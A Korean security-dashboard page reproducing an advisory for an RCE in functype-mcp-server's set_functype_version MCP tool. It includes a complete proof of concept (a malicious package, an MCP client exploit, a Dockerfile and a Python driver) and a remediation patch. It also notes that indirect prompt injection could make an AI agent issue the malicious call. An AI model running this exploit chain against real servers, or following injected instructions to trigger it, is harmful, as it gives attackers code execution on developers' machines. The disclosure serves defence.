Kestrel
대시보드로 돌아가기
CVE-2026-59176HIGH· 7.8GHSA대응게시일: 2026. 09. 09.수정일: 2026. 09. 09.

functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.8high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한차기 업그레이드 시CISA SSVC 기준

별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치

완전 장악· KEV 미등재 · 자동화 어려움 · 완전 장악 · 내부 한정

CVSS 벡터 · 메트릭

악용 경로
공격 벡터로컬
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.17.8HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

상세 설명

MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import

Summary

The set_functype_version MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier (functype@<version>), and installs it via pnpm add without any validation. Because npm/pnpm package specifiers support file:, npm:, and other alias syntaxes, an attacker who can send an MCP tools/call request to this tool can cause the server to install an arbitrary local or remote package as functype. Immediately after installation, the server calls initDocsData(true), which dynamically imports functype/cli from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).

Details

The vulnerable code is in packages/mcp-server/src/index.ts. The set_functype_version tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).

Source (user input accepted without validation):

text
1// packages/mcp-server/src/index.ts:119-121
2parameters: z.object({
3 version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
4}),

Only z.string() validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of file:, npm:, URL, or path alias syntaxes.

Sink 1 — arbitrary package installation:

text
1// packages/mcp-server/src/index.ts:122-125
2execute: async (args) => {
3 const spec = `functype@${args.version}`
4 try {
5 execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })

args.version is interpolated into the package specifier string and passed directly to pnpm add. Supplying file:/path/to/evil causes pnpm to install an attacker-controlled directory as the functype package alias.

Sink 2 — dynamic import executes installed package code:

text
1// packages/mcp-server/src/lib/docs/data.ts:23-30
2if (force) {
3 const resolvedPath = require.resolve("functype/cli")
4 cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)
5}

initDocsData(true) is called immediately after installation (line 134 in index.ts). It resolves functype/cli from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's cli.js at import time.

Data flow summary:

  1. index.ts:115 — MCP tool set_functype_version registered, no auth required.
  2. index.ts:119-121version accepted as raw z.string() (source).
  3. index.ts:123functype@${args.version} constructed without sanitization.
  4. index.ts:125execFileSync("pnpm", ["add", spec], ...) installs attacker-controlled package (sink: arbitrary install).
  5. index.ts:134initDocsData(true) called immediately.
  6. data.ts:29-30require.resolve("functype/cli") + dynamic import() executes attacker module (sink: RCE).

PoC

Step 1 — Prepare the attacker-controlled evil package:

text
1mkdir -p /tmp/evil
2cat > /tmp/evil/package.json <<'EOF'
3{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
4EOF
5cat > /tmp/evil/cli.js <<'EOF'
6import { writeFileSync } from "node:fs";
7writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
8export const TYPES = {};
9export const INTERFACES = {};
10export const CATEGORIES = {};
11export const FULL_INTERFACES = {};
12export const VERSION = "1.0.0";
13EOF

Step 2 — Clone and build the victim monorepo at the affected version:

bash
1TMP="$(mktemp -d)"
2git clone https://github.com/jordanburke/functype.git "$TMP/functype"
3cd "$TMP/functype"
4git checkout v1.4.3
5corepack enable
6pnpm install --frozen-lockfile
7pnpm -F functype build
8pnpm -F functype-mcp-server build

Step 3 — Set up an MCP client to deliver the exploit:

bash
1cd "$TMP"
2npm init -y
3npm pkg set type=module
4npm install @modelcontextprotocol/sdk
5
6cat > exploit.mjs <<'EOF'
7import { Client } from "@modelcontextprotocol/sdk/client/index.js";
8import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
9
10const client = new Client({ name: "poc", version: "1.0.0" });
11const transport = new StdioClientTransport({
12 command: "node",
13 args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],
14 env: { ...process.env, TRANSPORT_TYPE: "stdio" },
15});
16
17await client.connect(transport);
18const result = await client.callTool({
19 name: "set_functype_version",
20 arguments: { version: "file:/tmp/evil" },
21});
22console.log(result);
23await client.close();
24EOF
25
26REPO="$TMP/functype" node exploit.mjs

Step 4 — Verify arbitrary code execution:

bash
1cat /pwned.txt
2# Expected output: RCE: mcp import-time code execution via set_functype_version

Dynamic reproduction (Docker):

The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of /pwned.txt with the expected payload string, proving end-to-end RCE.

text
1[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
2[poc] File contents: RCE: mcp import-time code execution via set_functype_version
3[evil-payload] Arbitrary code executed via functype/cli dynamic import

Recommended remediation:

text
1+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/
2+
3+const isSafeFunctypeVersion = (version: string): boolean => {
4+ const trimmed = version.trim()
5+ return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed)
6+}
7
8 execute: async (args) => {
9- const spec = `functype@${args.version}`
10+ if (!isSafeFunctypeVersion(args.version)) {
11+ return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."
12+ }
13+ const spec = `functype@${args.version}`
14 try {
15- execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
16+ execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })

Impact

This is a Remote Code Execution (RCE) vulnerability. Any MCP client that can invoke the set_functype_version tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.

Who is impacted:

  • Developers and teams running functype-mcp-server (version 1.4.3) in their local or CI environments as an AI coding assistant integration.
  • Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a set_functype_version call with a file: or npm: alias payload.
  • In non-default TRANSPORT_TYPE=httpStream deployments, network-accessible attackers can exploit this without local access.

The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.

Reproduction artifacts

Dockerfile
bash
1# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE
2#
3# Build context: reports/npmAI_684_jordanburke__functype/
4# COPY repo/ -> /workspace/functype/ (victim monorepo)
5# COPY vuln-001/ -> supporting PoC files
6#
7# Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .
8# Run: docker run --rm vuln001-functype-rce
9#
10# Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.
11
12FROM node:24-slim
13
14# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).
15RUN npm install -g pnpm@11.7.0 --quiet
16
17# ── Victim workspace ──────────────────────────────────────────────────────────
18WORKDIR /workspace/functype
19COPY repo/ ./
20
21# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches
22# caused by running on a different pnpm minor than the one that generated the
23# lockfile; the installed versions are still constrained by the lockfile
24# specifiers for the packages we care about.
25RUN pnpm install --no-frozen-lockfile
26
27# Build functype first (mcp-server externals functype at build time).
28RUN pnpm -F functype build
29
30# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).
31RUN pnpm -F functype-mcp-server build
32
33# ── Attacker-controlled evil package ─────────────────────────────────────────
34# /evil/cli.js writes /pwned.txt when dynamically imported.
35COPY vuln-001/evil/ /evil/
36
37# ── MCP exploit client ────────────────────────────────────────────────────────
38WORKDIR /client
39RUN npm init -y --quiet && \
40 npm pkg set type=module && \
41 npm install @modelcontextprotocol/sdk@1.29.0 --quiet
42COPY vuln-001/client/exploit.mjs ./exploit.mjs
43
44# Default entrypoint: run the exploit and exit 0 on success.
45CMD ["node", "/client/exploit.mjs"]
poc.py
python
1#!/usr/bin/env python3
2"""
3PoC driver for VULN-001: MCP set_functype_version Package Alias RCE
4via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).
5
6Attack chain:
7 1. Attacker calls MCP tool set_functype_version with version="file:/evil"
8 2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
9 3. Evil package is installed as the functype alias in mcp-server's node_modules
10 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
11 5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)
12
13Usage:
14 python3 poc.py [--build-only]
15
16Requirements:
17 - Docker daemon running
18 - Build context at parent directory of this file's directory
19"""
20
21import subprocess
22import sys
23import json
24import os
25import argparse
26
27VULN_DIR = os.path.dirname(os.path.abspath(__file__))
28REPORT_DIR = os.path.dirname(VULN_DIR)
29IMAGE_NAME = "vuln001-functype-rce"
30DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
31RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json")
32
33BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR]
34RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME]
35
36
37def run(cmd, timeout=None, **kwargs):
38 """Run a command and return CompletedProcess with combined output."""
39 return subprocess.run(
40 cmd,
41 stdout=subprocess.PIPE,
42 stderr=subprocess.PIPE,
43 text=True,
44 timeout=timeout,
45 **kwargs,
46 )
47
48
49def write_result(passed, verdict, reason, evidence):
50 result = {
51 "passed": passed,
52 "verdict": verdict,
53 "reason": reason,
54 "build_command": " ".join(BUILD_CMD),
55 "run_command": " ".join(RUN_CMD),
56 "poc_command": f"python3 {os.path.basename(__file__)}",
57 "evidence": evidence,
58 "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],
59 }
60 with open(RESULT_FILE, "w", encoding="utf-8") as f:
61 json.dump(result, f, indent=2, ensure_ascii=False)
62 print(f"[poc] Result written to {RESULT_FILE}")
63 print(f"[poc] verdict={verdict} passed={passed}")
64
65
66def main():
67 parser = argparse.ArgumentParser(description="VULN-001 PoC driver")
68 parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run")
69 args = parser.parse_args()
70
71 # ── Build ─────────────────────────────────────────────────────────────────
72 print("[poc] Building Docker image (this may take a few minutes)...")
73 print(f"[poc] Build command: {' '.join(BUILD_CMD)}")
74
75 try:
76 build = run(BUILD_CMD, timeout=900)
77 except subprocess.TimeoutExpired:
78 msg = "Docker build timed out after 900 seconds"
79 print(f"[poc] ERROR: {msg}")
80 write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)
81 sys.exit(2)
82
83 if build.returncode != 0:
84 tail = (build.stdout + "\n" + build.stderr)[-3000:]
85 print("[poc] Build FAILED:")
86 print(tail)
87 write_result(
88 False,
89 "FAIL",
90 "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",
91 f"BUILD EXIT {build.returncode}\n{tail}",
92 )
93 sys.exit(1)
94
95 print("[poc] Build succeeded.")
96
97 if args.build_only:
98 print("[poc] --build-only flag set; skipping run.")
99 sys.exit(0)
100
101 # ── Run ───────────────────────────────────────────────────────────────────
102 print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}")
103
104 try:
105 run_result = run(RUN_CMD, timeout=180)
106 except subprocess.TimeoutExpired:
107 msg = "Container run timed out after 180 seconds"
108 print(f"[poc] ERROR: {msg}")
109 write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)
110 sys.exit(2)
111
112 stdout = run_result.stdout or ""
113 stderr = run_result.stderr or ""
114 combined = stdout + "\n" + stderr
115
116 print("=" * 60)
117 print("STDOUT:")
118 print(stdout)
119 print("STDERR:")
120 print(stderr)
121 print(f"EXIT CODE: {run_result.returncode}")
122 print("=" * 60)
123
124 # Success criteria: exit 0 AND exploit succeeded message present
125 exploit_succeeded = "EXPLOIT SUCCEEDED" in combined
126 passed = run_result.returncode == 0 and exploit_succeeded
127
128 if passed:
129 # Extract key evidence lines
130 evidence_lines = [
131 line for line in combined.splitlines()
132 if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))
133 ]
134 evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:]
135
136 write_result(
137 True,
138 "PASS",
139 (
140 "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 "
141 'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '
142 "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."
143 ),
144 evidence,
145 )
146 print("[poc] === PASS: exploit reproduced ===")
147 sys.exit(0)
148
149 else:
150 # Distinguish failure modes
151 if not exploit_succeeded and run_result.returncode == 0:
152 verdict = "INCOMPLETE"
153 reason = (
154 "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "
155 "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 "
156 "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."
157 )
158 else:
159 verdict = "FAIL"
160 reason = (
161 f"컨테이너 종료 코드 {run_result.returncode}. "
162 "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."
163 )
164
165 write_result(False, verdict, reason, combined[-2000:])
166 print(f"[poc] === {verdict}: exploit did not reproduce ===")
167 sys.exit(1)
168
169
170if __name__ == "__main__":
171 main()

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.